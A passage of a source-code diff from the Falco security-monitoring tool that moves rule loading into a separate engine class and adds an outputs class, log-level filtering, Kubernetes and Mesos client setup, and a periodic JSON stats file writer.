 		// Some combinations of arguments are not allowed.
 		if (daemon && pidfilename == "") {
-			throw sinsp_exception("If -d is provided, a pid file must also be provided");
+			throw std::invalid_argument("If -d is provided, a pid file must also be provided");
 		}
 
-		ifstream* conf_stream;
+		ifstream conf_stream;
 		if (conf_filename.size())
 		{
-			conf_stream = new ifstream(conf_filename);
-			if (!conf_stream->good())
+			conf_stream.open(conf_filename);
+			if (!conf_stream.is_open())
 			{
-				throw sinsp_exception("Could not find configuration file at " + conf_filename);
+				throw std::runtime_error("Could not find configuration file at " + conf_filename);
 			}
 		}
 		else
 		{
-			conf_stream = new ifstream(FALCO_SOURCE_CONF_FILE);
-			if (conf_stream->good())
+			conf_stream.open(FALCO_SOURCE_CONF_FILE);
+			if (conf_stream.is_open())
 			{
 				conf_filename = FALCO_SOURCE_CONF_FILE;
 			}
 			else
 			{
-				conf_stream = new ifstream(FALCO_INSTALL_CONF_FILE);
-				if (conf_stream->good())
+				conf_stream.open(FALCO_INSTALL_CONF_FILE);
+				if (conf_stream.is_open())
 				{
 					conf_filename = FALCO_INSTALL_CONF_FILE;
 				}
@@ -371,66 +410,47 @@ int falco_init(int argc, char **argv)
 			falco_logger::log(LOG_INFO, "Falco initialized. No configuration file found, proceeding with defaults\n");
 		}
 
-		if (rules_filename.size())
+		if (rules_filenames.size())
 		{
-			config.m_rules_filename = rules_filename;
+			config.m_rules_filenames = rules_filenames;
 		}
 
-		lua_main_filename = lua_dir + FALCO_LUA_MAIN;
-		if (!std::ifstream(lua_main_filename))
+		for (auto filename : config.m_rules_filenames)
 		{
-			lua_dir = FALCO_SOURCE_LUA_DIR;
-			lua_main_filename = lua_dir + FALCO_LUA_MAIN;
-			if (!std::ifstream(lua_main_filename))
-			{
-				falco_logger::log(LOG_ERR, "Could not find Falco Lua libraries (tried " +
-						     string(FALCO_LUA_DIR FALCO_LUA_MAIN) + ", " +
-						     lua_main_filename + "). Exiting.\n");
-				result = EXIT_FAILURE;
-				goto exit;
-			}
+			engine->load_rules_file(filename, verbose, all_events);
+			falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
 		}
 
-		// Initialize Lua interpreter
-		ls = lua_open();
-		luaL_openlibs(ls);
-		luaopen_lpeg(ls);
-		luaopen_yaml(ls);
-		add_lua_path(ls, lua_dir);
-
-		rules = new falco_rules(inspector, ls, lua_main_filename);
-
-		falco_formats::init(inspector, ls, config.m_json_output);
-		falco_fields::init(inspector, ls);
-
-		falco_logger::init(ls);
-		falco_rules::init(ls);
+		for (auto pattern : disabled_rule_patterns)
+		{
+			falco_logger::log(LOG_INFO, "Disabling rules matching pattern: " + pattern + "\n");
+			engine->enable_rule(pattern, false);
+		}
 
+		outputs->init(config.m_json_output, config.m_notifications_rate, config.m_notifications_max_burst);
 
 		if(!all_events)
 		{
 			inspector->set_drop_event_flags(EF_DROP_FALCO);
 		}
-		rules->load_rules(config.m_rules_filename, verbose, all_events);
-		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
 		if (describe_all_rules)
 		{
-			rules->describe_rule(NULL);
+			engine->describe_rule(NULL);
 			goto exit;
 		}
 
 		if (describe_rule != "")
 		{
-			rules->describe_rule(&describe_rule);
+			engine->describe_rule(&describe_rule);
 			goto exit;
 		}
 
 		inspector->set_hostname_and_port_resolution_mode(false);
 
-		for(std::vector<output_config>::iterator it = config.m_outputs.begin(); it != config.m_outputs.end(); ++it)
+		for(auto output : config.m_outputs)
 		{
-			add_output(ls, *it);
+			outputs->add_output(output);
 		}
 
 		if(signal(SIGINT, signal_callback) == SIG_ERR)
@@ -522,23 +542,99 @@ int falco_init(int argc, char **argv)
 			open("/dev/null", O_RDWR);
 		}
 
-		do_inspect(inspector,
-			   rules,
-			   ls);
+		if(outfile != "")
+		{
+			inspector->setup_cycle_writer(outfile, rollover_mb, duration_seconds, file_limit, event_limit, compress);
+			inspector->autodump_next_file();
+		}
+
+		duration = ((double)clock()) / CLOCKS_PER_SEC;
+
+		//
+		// run k8s, if required
+		//
+		if(k8s_api)
+		{
+			if(!k8s_api_cert)
+			{
+				if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+				{
+					k8s_api_cert = new string(k8s_cert_env);
+				}
+			}
+			inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+		else if(char* k8s_api_env = getenv("FALCO_K8S_API"))
+		{
+			if(k8s_api_env != NULL)
+			{
+				if(!k8s_api_cert)
+				{
+					if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+					{
+						k8s_api_cert = new string(k8s_cert_env);
+					}
+				}
+				k8s_api = new string(k8s_api_env);
+				inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			}
+			else
+			{
+				delete k8s_api;
+				delete k8s_api_cert;
+			}
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+
+		//
+		// run mesos, if required
+		//
+		if(mesos_api)
+		{
+			inspector->init_mesos_client(mesos_api, verbose);
+		}
+		else if(char* mesos_api_env = getenv("FALCO_MESOS_API"))
+		{
+			if(mesos_api_env != NULL)
+			{
+				mesos_api = new string(mesos_api_env);
+				inspector->init_mesos_client(mesos_api, verbose);
+			}
+		}
+		delete mesos_api;
+		mesos_api = 0;
+
+		num_evts = do_inspect(engine,
+				      outputs,
+				      inspector,
+				      stats_filename);
+
+		duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
+
+		inspector->get_capture_stats(&cstats);
+
+		if(verbose)
+		{
+			fprintf(stderr, "Driver Events:%" PRIu64 "\nDriver Drops:%" PRIu64 "\n",
+				cstats.n_evts,
+				cstats.n_drops);
+
+			fprintf(stderr, "Elapsed time: %.3lf, Captured Events: %" PRIu64 ", %.2lf eps\n",
+				duration,
+				num_evts,
+				num_evts / duration);
+		}
 
 		inspector->close();
 
-		print_stats(ls);
+		engine->print_stats();
 	}
-	catch(sinsp_exception& e)
+	catch(exception &e)
 	{
-		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n", daemon);
-
-		result = EXIT_FAILURE;
-	}
-	catch(...)
-	{
-		display_fatal_err("Unexpected error, Exiting\n", daemon);
+		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n");
 
 		result = EXIT_FAILURE;
 	}
@@ -546,11 +642,9 @@ int falco_init(int argc, char **argv)
 exit:
 
 	delete inspector;
+	delete engine;
+	delete outputs;
 
-	if(ls)
-	{
-		lua_close(ls);
-	}
 	return result;
 }
 

userspace/falco/falco_outputs.cpp

@@ -0,0 +1,137 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "falco_outputs.h"
+
+#include "config_falco.h"
+
+
+#include "formats.h"
+#include "logger.h"
+
+using namespace std;
+
+falco_outputs::falco_outputs()
+	: m_initialized(false)
+{
+
+}
+
+falco_outputs::~falco_outputs()
+{
+	if(m_initialized)
+	{
+		lua_getglobal(m_ls, m_lua_output_cleanup.c_str());
+
+		if(!lua_isfunction(m_ls, -1))
+		{
+			throw falco_exception("No function " + m_lua_output_cleanup + " found. ");
+		}
+
+		if(lua_pcall(m_ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			throw falco_exception(string(lerr));
+		}
+	}
+}
+
+void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst)
+{
+	// The engine must have been given an inspector by now.
+	if(! m_inspector)
+	{
+		throw falco_exception("No inspector provided");
+	}
+
+	falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR);
+
+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.
+	falco_formats::init(m_inspector, m_ls, json_output);
+
+	falco_logger::init(m_ls);
+
+	m_notifications_tb.init(rate, max_burst);
+
+	m_initialized = true;
+}
+
+void falco_outputs::add_output(output_config oc)
+{
+	uint8_t nargs = 1;
+	lua_getglobal(m_ls, m_lua_add_output.c_str());
+
+	if(!lua_isfunction(m_ls, -1))
+	{
+		throw falco_exception("No function " + m_lua_add_output + " found. ");
+	}
+	lua_pushstring(m_ls, oc.name.c_str());
+
+	// If we have options, build up a lua table containing them
+	if (oc.options.size())
+	{
+		nargs = 2;
+		lua_createtable(m_ls, 0, oc.options.size());
+
+		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
+		{
+			lua_pushstring(m_ls, (*it).second.c_str());
+			lua_setfield(m_ls, -2, (*it).first.c_str());
+		}
+	}
+
+	if(lua_pcall(m_ls, nargs, 0, 0) != 0)
+	{
+		const char* lerr = lua_tostring(m_ls, -1);
+		throw falco_exception(string(lerr));
+	}
+
+}
+
+void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format)
+{
+	if(!m_notifications_tb.claim())
+	{
+		falco_logger::log(LOG_DEBUG, "Skipping rate-limited notification for rule " + rule + "\n");
+		return;
+	}
+
+	lua_getglobal(m_ls, m_lua_output_event.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		lua_pushlightuserdata(m_ls, ev);
+		lua_pushstring(m_ls, rule.c_str());
+		lua_pushstring(m_ls, priority.c_str());
+		lua_pushstring(m_ls, format.c_str());
+
+		if(lua_pcall(m_ls, 4, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function output: " + string(lerr);
+			throw falco_exception(err);
+		}
+	}
+	else
+	{
+		throw falco_exception("No function " + m_lua_output_event + " found in lua compiler module");
+	}
+
+}

userspace/falco/falco_outputs.h

@@ -0,0 +1,64 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include "falco_common.h"
+#include "token_bucket.h"
+
+//
+// This class acts as the primary interface between a program and the
+// falco output engine. The falco rules engine is implemented by a
+// separate class falco_engine.
+//
+
+class falco_outputs : public falco_common
+{
+public:
+	falco_outputs();
+	virtual ~falco_outputs();
+
+	// The way to refer to an output (file, syslog, stdout,
+	// etc). An output has a name and set of options.
+	struct output_config
+	{
+		std::string name;
+		std::map<std::string, std::string> options;
+	};
+
+	void init(bool json_output, uint32_t rate, uint32_t max_burst);
+
+	void add_output(output_config oc);
+
+	//
+	// ev is an event that has matched some rule. Pass the event
+	// to all configured outputs.
+	//
+	void handle_event(sinsp_evt *ev, std::string &rule, std::string &priority, std::string &format);
+
+private:
+	bool m_initialized;
+
+	// Rate limits notifications
+	token_bucket m_notifications_tb;
+
+	std::string m_lua_add_output = "add_output";
+	std::string m_lua_output_event = "output_event";
+	std::string m_lua_output_cleanup = "output_cleanup";
+	std::string m_lua_main_filename = "output.lua";
+};

userspace/falco/fields.cpp

@@ -1,76 +0,0 @@
-#include "fields.h"
-#include "chisel_api.h"
-#include "filterchecks.h"
-
-
-extern sinsp_filter_check_list g_filterlist;
-
-const static struct luaL_reg ll_falco [] =
-{
-	{"field", &falco_fields::field},
-	{NULL,NULL}
-};
-
-sinsp* falco_fields::s_inspector = NULL;
-
-std::map<string, sinsp_filter_check*> falco_fields::s_fieldname_map;
-
-
-void falco_fields::init(sinsp* inspector, lua_State *ls)
-{
-	s_inspector = inspector;
-
-	luaL_openlib(ls, "falco", ll_falco, 0);
-}
-
-int falco_fields::field(lua_State *ls)
-{
-
-	sinsp_filter_check* chk=NULL;
-
-	if (!lua_islightuserdata(ls, 1))
-	{
-		string err = "invalid argument passed to falco.field()";
-		fprintf(stderr, "%s\n", err.c_str());
-		throw sinsp_exception("falco.field() error");
-	}
-	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
-
-	string fieldname = luaL_checkstring(ls, 2);
-
-	if (s_fieldname_map.count(fieldname) == 0)
-	{
-
-		chk = g_filterlist.new_filter_check_from_fldname(fieldname,
-								 s_inspector,
-								 false);
-
-		if(chk == NULL)
-		{
-			string err = "nonexistent fieldname passed to falco.field(): " + string(fieldname);
-			fprintf(stderr, "%s\n", err.c_str());
-			throw sinsp_exception("falco.field() error");
-		}
-
-		chk->parse_field_name(fieldname.c_str(), true);
-		s_fieldname_map[fieldname] = chk;
-	}
-	else
-	{
-		chk = s_fieldname_map[fieldname];
-	}
-
-	uint32_t vlen;
-	uint8_t* rawval = chk->extract(evt, &vlen);
-
-	if(rawval != NULL)
-	{
-		return lua_cbacks::rawval_to_lua_stack(ls, rawval, chk->get_field_info(), vlen);
-	}
-	else
-	{
-		lua_pushnil(ls);
-		return 1;
-	}
-}
-

userspace/falco/fields.h

@@ -1,21 +0,0 @@
-#pragma once
-
-#include "sinsp.h"
-
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-}
-
-class falco_fields
-{
- public:
-	static void init(sinsp* inspector, lua_State *ls);
-
-	// value = falco.field(evt, fieldname)
-	static int field(lua_State *ls);
-
-	static sinsp* s_inspector;
-	static std::map<string, sinsp_filter_check*> s_fieldname_map;
-};

userspace/falco/formats.h

@@ -1,28 +0,0 @@
-#pragma once
-
-#include "sinsp.h"
-
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-}
-
-class sinsp_evt_formatter;
-
-class falco_formats
-{
- public:
-	static void init(sinsp* inspector, lua_State *ls, bool json_output);
-
-	// formatter = falco.formatter(format_string)
-	static int formatter(lua_State *ls);
-
-	// formatted_string = falco.format_event(evt, formatter)
-	static int format_event(lua_State *ls);
-
-	static sinsp* s_inspector;
-
- private:
-	lua_State* m_ls;
-};

userspace/falco/logger.cpp

@@ -1,9 +1,26 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #include <ctime>
 #include "logger.h"
 #include "chisel_api.h"
-#include "filterchecks.h"
-
 
+#include "falco_common.h"
 
 const static struct luaL_reg ll_falco [] =
 {
@@ -11,12 +28,54 @@ const static struct luaL_reg ll_falco [] =
 	{NULL,NULL}
 };
 
+int falco_logger::level = LOG_INFO;
 
 void falco_logger::init(lua_State *ls)
 {
 	luaL_openlib(ls, "falco", ll_falco, 0);
 }
 
+void falco_logger::set_level(string &level)
+{
+	if(level == "emergency")
+	{
+		falco_logger::level = LOG_EMERG;
+	}
+	else if(level == "alert")
+	{
+		falco_logger::level = LOG_ALERT;
+	}
+	else if(level == "critical")
+	{
+		falco_logger::level = LOG_CRIT;
+	}
+	else if(level == "error")
+	{
+		falco_logger::level = LOG_ERR;
+	}
+	else if(level == "warning")
+	{
+		falco_logger::level = LOG_WARNING;
+	}
+	else if(level == "notice")
+	{
+		falco_logger::level = LOG_NOTICE;
+	}
+	else if(level == "info")
+	{
+		falco_logger::level = LOG_INFO;
+	}
+	else if(level == "debug")
+	{
+		falco_logger::level = LOG_DEBUG;
+	}
+	else
+	{
+		throw falco_exception("Unknown log level " + level);
+	}
+}
+
+
 int falco_logger::syslog(lua_State *ls) {
 	int priority = luaL_checknumber(ls, 1);
 
@@ -34,6 +93,12 @@ bool falco_logger::log_stderr = true;
 bool falco_logger::log_syslog = true;
 
 void falco_logger::log(int priority, const string msg) {
+
+	if(priority > falco_logger::level)
+	{
+		return;
+	}
+
 	if (falco_logger::log_syslog) {
 		::syslog(priority, "%s", msg.c_str());
 	}

userspace/falco/logger.h

@@ -1,3 +1,21 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #pragma once
 
 #include "sinsp.h"
@@ -14,11 +32,15 @@ class falco_logger
  public:
 	static void init(lua_State *ls);
 
+	// Will throw exception if level is unknown.
+	static void set_level(string &level);
+
 	// value = falco.syslog(level, message)
 	static int syslog(lua_State *ls);
 
 	static void log(int priority, const string msg);
 
+	static int level;
 	static bool log_stderr;
 	static bool log_syslog;
 };

userspace/falco/lua/output.lua

@@ -1,3 +1,21 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
+
 local mod = {}
 
 levels = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"}
@@ -6,10 +24,9 @@ mod.levels = levels
 
 local outputs = {}
 
-function mod.stdout(evt, rule, level, format)
-   format = "*%evt.time: "..levels[level+1].." "..format
-   formatter = falco.formatter(format)
-   msg = falco.format_event(evt, rule, levels[level+1], formatter)
+local formatters = {}
+
+function mod.stdout(level, msg)
    print (msg)
 end
 
@@ -26,29 +43,17 @@ function mod.file_validate(options)
 
 end
 
-function mod.file(evt, rule, level, format, options)
-   format = "*%evt.time: "..levels[level+1].." "..format
-   formatter = falco.formatter(format)
-   msg = falco.format_event(evt, rule, levels[level+1], formatter)
-
+function mod.file(level, msg, options)
    file = io.open(options.filename, "a+")
    file:write(msg, "\n")
    file:close()
 end
 
-function mod.syslog(evt, rule, level, format)
-
-   formatter = falco.formatter(format)
-   msg = falco.format_event(evt, rule, levels[level+1], formatter)
+function mod.syslog(level, msg, options)
    falco.syslog(level, msg)
 end
 
-function mod.program(evt, rule, level, format, options)
-
-   format = "*%evt.time: "..levels[level+1].." "..format
-   formatter = falco.formatter(format)
-   msg = falco.format_event(evt, rule, levels[level+1], formatter)
-
+function mod.program(level, msg, options)
    -- XXX Ideally we'd check that the program ran
    -- successfully. However, the luajit we're using returns true even
    -- when the shell can't run the program.
@@ -59,10 +64,39 @@ function mod.program(evt, rule, level, format, options)
    file:close()
 end
 
-function mod.event(event, rule, level, format)
-   for index,o in ipairs(outputs) do
-      o.output(event, rule, level, format, o.config)
+local function level_of(s)
+   s = string.lower(s)
+   for i,v in ipairs(levels) do
+      if (string.find(string.lower(v), "^"..s)) then
+	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
+      end
    end
+   error("Invalid severity level: "..s)
+end
+
+function output_event(event, rule, priority, format)
+   local level = level_of(priority)
+   format = "*%evt.time: "..levels[level+1].." "..format
+   if formatters[rule] == nil then
+      formatter = formats.formatter(format)
+      formatters[rule] = formatter
+   else
+      formatter = formatters[rule]
+   end
+
+   msg = formats.format_event(event, rule, levels[level+1], formatter)
+
+   for index,o in ipairs(outputs) do
+      o.output(level, msg, o.config)
+   end
+end
+
+function output_cleanup()
+   for rule, formatter in pairs(formatters) do
+      formats.free_formatter(formatter)
+   end
+
+   formatters = {}
 end
 
 function add_output(output_name, config)

userspace/falco/lua/test.lua

@@ -1,3 +1,20 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
 local parser = require "parser"
 
 if #arg ~= 1 then

userspace/falco/rules.h

@@ -1,35 +0,0 @@
-#pragma once
-
-#include <list>
-
-#include "sinsp.h"
-#include "lua_parser.h"
-
-class falco_rules
-{
- public:
-	falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
-	~falco_rules();
-	void load_rules(string rules_filename, bool verbose, bool all_events);
-	void describe_rule(string *rule);
-	sinsp_filter* get_filter();
-
-	static void init(lua_State *ls);
-	static int add_filter(lua_State *ls);
-
- private:
-	void load_compiler(string lua_main_filename);
-
-	void add_filter(list<uint32_t> &evttypes);
-
-	lua_parser* m_lua_parser;
-	sinsp* m_inspector;
-	lua_State* m_ls;
-
-	string m_lua_load_rules = "load_rules";
-	string m_lua_ignored_syscalls = "ignored_syscalls";
-	string m_lua_ignored_events = "ignored_events";
-	string m_lua_events = "events";
-	string m_lua_on_event = "on_event";
-	string m_lua_describe_rule = "describe_rule";
-};

userspace/falco/statsfilewriter.cpp

@@ -0,0 +1,120 @@
+#include <sys/time.h>
+#include <signal.h>
+
+#include "statsfilewriter.h"
+
+using namespace std;
+
+static bool g_save_stats = false;
+static void timer_handler (int signum)
+{
+	g_save_stats = true;
+}
+
+extern char **environ;
+
+StatsFileWriter::StatsFileWriter()
+	: m_num_stats(0), m_inspector(NULL)
+{
+}
+
+StatsFileWriter::~StatsFileWriter()
+{
+	m_output.close();
+}
+
+bool StatsFileWriter::init(sinsp *inspector, string &filename, uint32_t interval_sec, string &errstr)
+{
+	struct itimerval timer;
+	struct sigaction handler;
+
+	m_inspector = inspector;
+
+	m_output.exceptions ( ofstream::failbit | ofstream::badbit );
+	m_output.open(filename, ios_base::app);
+
+	memset (&handler, 0, sizeof (handler));
+	handler.sa_handler = &timer_handler;
+	if (sigaction(SIGALRM, &handler, NULL) == -1)
+	{
+		errstr = string("Could not set up signal handler for periodic timer: ") + strerror(errno);
+		return false;
+	}
+
+	timer.it_value.tv_sec = interval_sec;
+	timer.it_value.tv_usec = 0;
+	timer.it_interval = timer.it_value;
+	if (setitimer(ITIMER_REAL, &timer, NULL) == -1)
+	{
+		errstr = string("Could not set up periodic timer: ") + strerror(errno);
+		return false;
+	}
+
+	// (Undocumented) feature. Take any environment keys prefixed
+	// with FALCO_STATS_EXTRA_XXX and add them to the output. Used by
+	// run_performance_tests.sh.
+	for(uint32_t i=0; environ[i]; i++)
+	{
+		char *p = strstr(environ[i], "=");
+		if(!p)
+		{
+			errstr = string("Could not find environment separator in ") + string(environ[i]);
+			return false;
+		}
+		string key(environ[i], p-environ[i]);
+		string val(p+1, strlen(environ[i])-(p-environ[i])-1);
+		if(key.compare(0, 18, "FALCO_STATS_EXTRA_") == 0)
+		{
+			string sub = key.substr(18);
+			if (m_extra != "")
+			{
+				m_extra += ", ";
+			}
+			m_extra += "\"" + sub + "\": " + "\"" + val + "\"";
+		}
+	}
+
+	return true;
+}
+
+void StatsFileWriter::handle()
+{
+	if (g_save_stats)
+	{
+		scap_stats cstats;
+		scap_stats delta;
+
+		g_save_stats = false;
+		m_num_stats++;
+		m_inspector->get_capture_stats(&cstats);
+
+		if(m_num_stats == 1)
+		{
+			delta = cstats;
+		}
+		else
+		{
+			delta.n_evts = cstats.n_evts - m_last_stats.n_evts;
+			delta.n_drops = cstats.n_drops - m_last_stats.n_drops;
+			delta.n_preemptions = cstats.n_preemptions - m_last_stats.n_preemptions;
+		}
+
+		m_output << "{\"sample\": " << m_num_stats;
+		if(m_extra != "")
+		{
+			m_output << ", " << m_extra;
+		}
+		m_output << ", \"cur\": {" <<
+			"\"events\": " << cstats.n_evts <<
+			", \"drops\": " << cstats.n_drops <<
+			", \"preemptions\": " << cstats.n_preemptions <<
+			"}, \"delta\": {" <<
+			"\"events\": " << delta.n_evts <<
+			", \"drops\": " << delta.n_drops <<
+			", \"preemptions\": " << delta.n_preemptions <<
+			"}, \"drop_pct\": " << (delta.n_evts == 0 ? 0 : (100.0*delta.n_drops/delta.n_evts)) <<
+			"}," << endl;
+
+		m_last_stats = cstats;
+	}
+}

userspace/falco/statsfilewriter.h

@@ -0,0 +1,32 @@
+#pragma once
+
+#include <fstream>
+#include <string>
+#include <map>
+
+#include <sinsp.h>
+
+// Periodically collects scap stats files and writes them to a file as
+// json.
+
+class StatsFileWriter {
+public:
+	StatsFileWriter();
+	virtual ~StatsFileWriter();
+
+	// Returns success as bool. On false fills in errstr.
+	bool init(sinsp *inspector, std::string &filename,
+		  uint32_t interval_sec,
+		  string &errstr);
+
+	// Should be called often (like for each event in a sinsp
+	// loop).
+	void handle();
+
+protected:
+	uint32_t m_num_stats;
+	sinsp *m_inspector;
+	std::ofstream m_output;
+	std::string m_extra;
+	scap_stats m_last_stats;
+};